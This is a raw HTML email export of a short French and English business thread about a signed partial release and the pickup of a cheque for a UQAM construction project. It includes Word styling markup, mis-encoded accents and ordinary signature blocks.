                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;</=
p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                           =
                                     <p>&nbsp;</p>
                                                                <p>&nbsp;</=
p>
                                                                <p>&nbsp;
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=
=20=20=20=20=20=20
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=
=20=20=20=20=20=20=20
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20
=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20=20
=20=20=20=20=20=20=20=20



<meta name=3D"Generator" content=3D"Microsoft Word 15 (filtered medium)">
<!--[if !mso]><style>v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
w\:* {behavior:url(#default#VML);}
=2Eshape {behavior:url(#default#VML);}
</style><![endif]--><style><!--
/* Font Definitions */
@font-face
        {font-family:"Cambria Math";
        panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
        {font-family:Calibri;
        panose-1:2 15 5 2 2 2 4 3 2 4;}
@font-face
        {font-family:Aptos;}
@font-face
        {font-family:"Segoe UI";
        panose-1:2 11 5 2 4 2 4 2 2 3;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
        {margin:0cm;
        font-size:12.0pt;
        font-family:"Aptos",sans-serif;}
a:link, span.MsoHyperlink
        {mso-style-priority:99;
        color:blue;
        text-decoration:underline;}
p.xxmsonormal, li.xxmsonormal, div.xxmsonormal
        {mso-style-name:x_x_msonormal;
        margin:0cm;
        font-size:12.0pt;
        font-family:"Aptos",sans-serif;}
span.EmailStyle22
        {mso-style-type:personal-reply;
        font-family:"Aptos",sans-serif;
        color:windowtext;}
=2EMsoChpDefault
        {mso-style-type:export-only;
        font-size:10.0pt;
        mso-ligatures:none;}
@page WordSection1
        {size:612.0pt 792.0pt;
        margin:72.0pt 72.0pt 72.0pt 72.0pt;}
div.WordSection1
        {page:WordSection1;}
--></style><!--[if gte mso 9]><xml>
<o:shapedefaults v:ext=3D"edit" spidmax=3D"1026" />
</xml><![endif]--><!--[if gte mso 9]><xml>
<o:shapelayout v:ext=3D"edit">
<o:idmap v:ext=3D"edit" data=3D"1" />
</o:shapelayout></xml><![endif]-->


<div class=3D"WordSection1">
<p class=3D"MsoNormal"><span style=3D"mso-fareast-language: EN-US;">Bonjour=
, <o:p></o:p></span></p>
<p class=3D"MsoNormal"><span style=3D"mso-fareast-language: EN-US;"><o:p>&n=
bsp;</o:p></span></p>
<p class=3D"MsoNormal">Merci pour votre quittance<o:p></o:p></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA">Je vais laisser le ch&Atilde;&u=
ml;que avec le gardien de s&Atilde;&copy;curit&Atilde;&copy;</span><span la=
ng=3D"FR-CA" style=3D"mso-fareast-language: EN-US;"><o:p></o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"mso-fareast-language: =
EN-US;"><o:p>&nbsp;</o:p></span></p>
<div>
<p class=3D"MsoNormal"><b><span lang=3D"FR-CA" style=3D"mso-ligatures: stan=
dardcontextual;">Merci et Bonne Journ&Atilde;&copy;e<o:p></o:p></span></b><=
/p>
<p class=3D"MsoNormal"><b><span lang=3D"FR-CA" style=3D"mso-ligatures: stan=
dardcontextual;">Thank you<o:p></o:p></span></b></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"mso-ligatures: standar=
dcontextual;"><o:p>&nbsp;</o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"mso-ligatures: standar=
dcontextual;">Michelle Otway<o:p></o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"mso-ligatures: standar=
dcontextual;">Sp&Atilde;&copy;cialiste des comptes payables- Division des t=
ravaux publics<o:p></o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"EN-US" style=3D"mso-ligatures: standar=
dcontextual;">Accounts Payable Specialist- Public Works division<o:p></o:p>=
</span></p>
<p class=3D"MsoNormal"><span style=3D"mso-ligatures: standardcontextual;"><=
o:p>&nbsp;</o:p></span></p>
<p class=3D"MsoNormal"><b><span lang=3D"FR-CA" style=3D"mso-ligatures: stan=
dardcontextual;">SAJO</span></b><span lang=3D"FR-CA" style=3D"mso-ligatures=
: standardcontextual;"><o:p></o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"mso-ligatures: standar=
dcontextual;">Design
<o:p></o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"mso-ligatures: standar=
dcontextual;">Construction
<o:p></o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"mso-ligatures: standar=
dcontextual;">Procurement<o:p></o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"mso-ligatures: standar=
dcontextual;">Maintenance<o:p></o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D'background: white; col=
or: rgb(32, 31, 30); font-family: "Calibri",sans-serif; font-size: 11pt;'><=
o:p>&nbsp;</o:p></span></p>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D'background: white; col=
or: rgb(32, 31, 30); font-family: "Calibri",sans-serif; font-size: 11pt;'>T=
: 514-385-0333 x. 313</span><span lang=3D"FR-CA" style=3D'color: rgb(32, 31=
, 30); font-family: "Calibri",sans-serif; font-size: 11pt;'><br>
<span style=3D"background: white;">F: 514-385-9506</span><br>
<span style=3D"background: white;">sajo.com</span></span><span lang=3D"FR-C=
A" style=3D'font-family: "Calibri",sans-serif; font-size: 11pt; mso-fareast=
-language: EN-US; mso-ligatures: standardcontextual;'><o:p></o:p></span></p=
>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"font-size: 16pt; mso-l=
igatures: standardcontextual;"><o:p>&nbsp;</o:p></span></p>
</div>
<p class=3D"MsoNormal"><span lang=3D"FR-CA" style=3D"mso-fareast-language: =
EN-US;"><o:p>&nbsp;</o:p></span></p>
<div>
<div style=3D"border-width: 1pt medium medium; border-style: solid none non=
e; border-color: rgb(225, 225, 225) currentColor currentColor; padding: 3pt=
 0cm 0cm; border-image: none;">
<p class=3D"MsoNormal"><b><span lang=3D"EN-US" style=3D'font-family: "Calib=
ri",sans-serif; font-size: 11pt;'>From:</span></b><span lang=3D"EN-US" styl=
e=3D'font-family: "Calibri",sans-serif; font-size: 11pt;'> Compte recevable=
 &lt;recevable@isolationrgc.com&gt;
<br>
<b>Sent:</b> November 25, 2024 9:17 AM<br>
<b>To:</b> Michelle Otway &lt;MOtway@sajo.com&gt;<br>
<b>Cc:</b> Josianne Puvilland &lt;j.puvilland@isolationrgc.com&gt;<br>
<b>Subject:</b> Re: UQAM Cheque et quittance au 30.09.2024<o:p></o:p></span=
></p>
</div>
</div>
<p class=3D"MsoNormal"><o:p>&nbsp;</o:p></p>
<table width=3D"100%" align=3D"left" class=3D"MsoNormalTable" style=3D"widt=
h: 100%;" border=3D"0" cellspacing=3D"0" cellpadding=3D"0">
<tbody>
<tr>
<td width=3D"0" style=3D"background: rgb(166, 166, 166); padding: 5.25pt 1.=
5pt; width: 0.3pt;">
</td>
<td width=3D"100%" style=3D"background: rgb(234, 234, 234); padding: 5.25pt=
 3.75pt 5.25pt 11.25pt; transition:revert !important; width: 100%; aspect-r=
atio: revert; block-size: revert; color-scheme: revert; content-visibility:=
 revert; hyphens: revert; resize: revert; rotate: revert; scale: revert; ta=
b-size: revert; text-orientation: revert; text-wrap: revert; user-select: r=
evert;">
<div>
<p class=3D"MsoNormal" style=3D"mso-element: frame; mso-element-frame-hspac=
e: 2.25pt; mso-element-wrap: around; mso-element-anchor-vertical: paragraph=
; mso-element-anchor-horizontal: column; mso-height-rule: exactly;">
<span style=3D'color: rgb(33, 33, 33); font-family: "Segoe UI",sans-serif; =
font-size: 9pt;'>You don't often get email from
<a href=3D"mailto:recevable@isolationrgc.com">recevable@isolationrgc.com</a=
>. <a href=3D"https://aka.ms/LearnAboutSenderIdentification">
Learn why this is important</a> <o:p></o:p></span></p>
</div>
</td>
<td width=3D"75" style=3D"background: rgb(234, 234, 234); padding: 5.25pt 3=
=2E75pt; transition:revert !important; width: 56.25pt; aspect-ratio: revert=
; block-size: revert; color-scheme: revert; content-visibility: revert; hyp=
hens: revert; resize: revert; rotate: revert; scale: revert; tab-size: reve=
rt; text-orientation: revert; text-wrap: revert; user-select: revert; align=
: left;">
</td>
</tr>
</tbody>
</table>
<div>
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'>Bonjour,<o:p></o:p></span></p>
</div>
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'><o:p>&nbsp;</o:p></span></p>
</div>
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'>Vous trouverez ci-joint la quittance partielle sign&Atilde;&co=
py;e pour votre projet P18022CC&nbsp; Pavillon Sanguinet pour ESG UQAM<o:p>=
</o:p></span></p>
</div>
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'><o:p>&nbsp;</o:p></span></p>
</div>
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'>S'il vous pla&Atilde;&reg;t nous confirmer que tout est confor=
me,
<span style=3D"background: yellow;">et nous passerons r&Atilde;&copy;cup&At=
ilde;&copy;rer le</span> <span style=3D"background: yellow;">
ch&Atilde;&uml;que &Atilde;  vous bureaux.</span><o:p></o:p></span></p>
</div>
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'><o:p>&nbsp;</o:p></span></p>
</div>
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'><o:p>&nbsp;</o:p></span></p>
</div>
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'><o:p>&nbsp;</o:p></span></p>
</div>
<div id=3D"Signature">
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'></span><span style=3D'color: black; font-family: "Calibri",san=
s-serif;'><o:p></o:p></span></p>
</div>
</div>
<div>
<p class=3D"MsoNormal"><span style=3D'color: black; font-family: "Calibri",=
sans-serif;'><o:p>&nbsp;</o:p></span></p>
</div>
<div align=3D"center" class=3D"MsoNormal" style=3D"text-align: center;">
<hr width=3D"98%" size=3D"2" align=3D"center">
</div>
<div id=3D"divRplyFwdMsg">
<p class=3D"MsoNormal"><b><span style=3D'color: black; font-family: "Calibr=
i",sans-serif; font-size: 11pt;'>De :</span></b><span style=3D'color: black=
; font-family: "Calibri",sans-serif; font-size: 11pt;'> Josianne Puvilland =
&lt;<a href=3D"mailto:j.puvilland@isolationrgc.com">j.puvilland@isolationrg=
c.com</a>&gt;<br>
<b>Envoy&Atilde;&copy; :</b> 25 novembre 2024 08:12<br>
<b>&Atilde;&#8364; :</b> Compte recevable &lt;<a href=3D"mailto:recevable@i=
solationrgc.com">recevable@isolationrgc.com</a>&gt;<br>
<b>Objet :</b> TR : UQAM Cheque et quittance au 30.09.2024</span> <o:p></o:=
p></p>
<div>
<p class=3D"MsoNormal">&nbsp;<o:p></o:p></p>
</div>
</div>
<div>
<div>
<p class=3D"MsoNormal"><span style=3D"color: black;"><o:p>&nbsp;</o:p></spa=
n></p>
</div>
<div id=3D"x_Signature">
<div>
<p class=3D"MsoNormal"><span style=3D"color: black;"><o:p>&nbsp;</o:p></spa=
n></p>
</div>
<div>
<p class=3D"MsoNormal"><span style=3D"color: black;"></span><span style=3D"=
color: black;"><o:p></o:p></span></p>
</div>
</div>
<div align=3D"center" class=3D"MsoNormal" style=3D"text-align: center;">
<hr width=3D"98%" size=3D"2" align=3D"center">
</div>
<div id=3D"x_divRplyFwdMsg">
<p class=3D"MsoNormal"><b><span style=3D'color: black; font-family: "Calibr=
i",sans-serif; font-size: 11pt;'>De :</span></b><span style=3D'color: black=
; font-family: "Calibri",sans-serif; font-size: 11pt;'> Michelle Otway &lt;=
<a href=3D"mailto:MOtway@sajo.com">MOtway@sajo.com</a>&gt;<br>
<b>Envoy&Atilde;&copy; :</b> 22 novembre 2024 16:17<br>
<b>&Atilde;&#8364; :</b> Josianne Puvilland &lt;<a href=3D"mailto:j.puvilla=
nd@isolationrgc.com">j.puvilland@isolationrgc.com</a>&gt;<br>
<b>Cc&nbsp;:</b> Vanessa D'Olimpio &lt;<a href=3D"mailto:VDOlimpio@sajo.com=
">VDOlimpio@sajo.com</a>&gt;; Bruno Villani &lt;<a href=3D"mailto:BVillani@=
sajo.com">BVillani@sajo.com</a>&gt;<br>
<b>Objet :</b> UQAM Cheque et quittance au 30.09.2024</span> <o:p></o:p></p=
>
<div>
<p class=3D"MsoNormal">&nbsp;<o:p></o:p></p>
</div>
</div>
<div>
<div>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA" style=3D'font-family: "Calibr=
i",sans-serif; font-size: 11pt;'>Bonjour,</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA" style=3D'font-family: "Calibr=
i",sans-serif; font-size: 11pt;'>&nbsp;</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA" style=3D'font-family: "Calibr=
i",sans-serif; font-size: 11pt;'>Veuillez trouver en p.j. la copie de votre=
 cheque et la quittance &Atilde;  signer au 30.09.2024</span><o:p></o:p></p=
>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA" style=3D'font-family: "Calibr=
i",sans-serif; font-size: 11pt;'>&nbsp;</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA" style=3D'font-family: "Calibr=
i",sans-serif; font-size: 11pt;'>SVP signer la quittance et me la retourner=
 par courriel en couleur scan
</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">&nbsp;</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA" style=3D'font-family: "Calibr=
i",sans-serif;'>Vous pouvez r&Atilde;&copy;cup&Atilde;&copy;rer le ch&Atild=
e;&uml;que et faire l&acirc;&#8364;&#8482;&Atilde;&copy;change &Atilde;  no=
s bureau</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">&nbsp;</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">&nbsp;</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><b><span lang=3D"FR-CA">Merci et Bonne Journ&Atild=
e;&copy;e</span></b><o:p></o:p></p>
<p class=3D"xxmsonormal"><b><span lang=3D"FR-CA">Thank you</span></b><o:p><=
/o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">&nbsp;</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">Michelle Otway</span><o:p></o=
:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">Sp&Atilde;&copy;cialiste des =
comptes payables- Division des travaux publics</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"EN-US">Accounts Payable Specialist- =
Public Works division</span><o:p></o:p></p>
<p class=3D"xxmsonormal">&nbsp;<o:p></o:p></p>
<p class=3D"xxmsonormal"><b><span lang=3D"FR-CA">SAJO</span></b><o:p></o:p>=
</p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">Design </span><o:p></o:p></p>=

<p class=3D"xxmsonormal"><span lang=3D"FR-CA">Construction </span><o:p></o:=
p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">Procurement</span><o:p></o:p>=
</p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">Maintenance</span><o:p></o:p>=
</p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA" style=3D'background: white; c=
olor: rgb(32, 31, 30); font-family: "Calibri",sans-serif; font-size: 11pt;'=
>&nbsp;</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA" style=3D'background: white; c=
olor: rgb(32, 31, 30); font-family: "Calibri",sans-serif; font-size: 11pt;'=
>T: 514-385-0333 x. 313</span><span lang=3D"FR-CA" style=3D'color: rgb(32, =
31, 30); font-family: "Calibri",sans-serif; font-size: 11pt;'><br>
<span style=3D"background: white;">F: 514-385-9506</span><br>
<span style=3D"background: white;">sajo.com</span></span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA" style=3D"font-size: 16pt;">&n=
bsp;</span><o:p></o:p></p>
<p class=3D"xxmsonormal"><span lang=3D"FR-CA">&nbsp;</span><o:p></o:p></p>
</div>
</div>
</div>
</div>
</div>




<p>&nbsp;</p>
</body></html>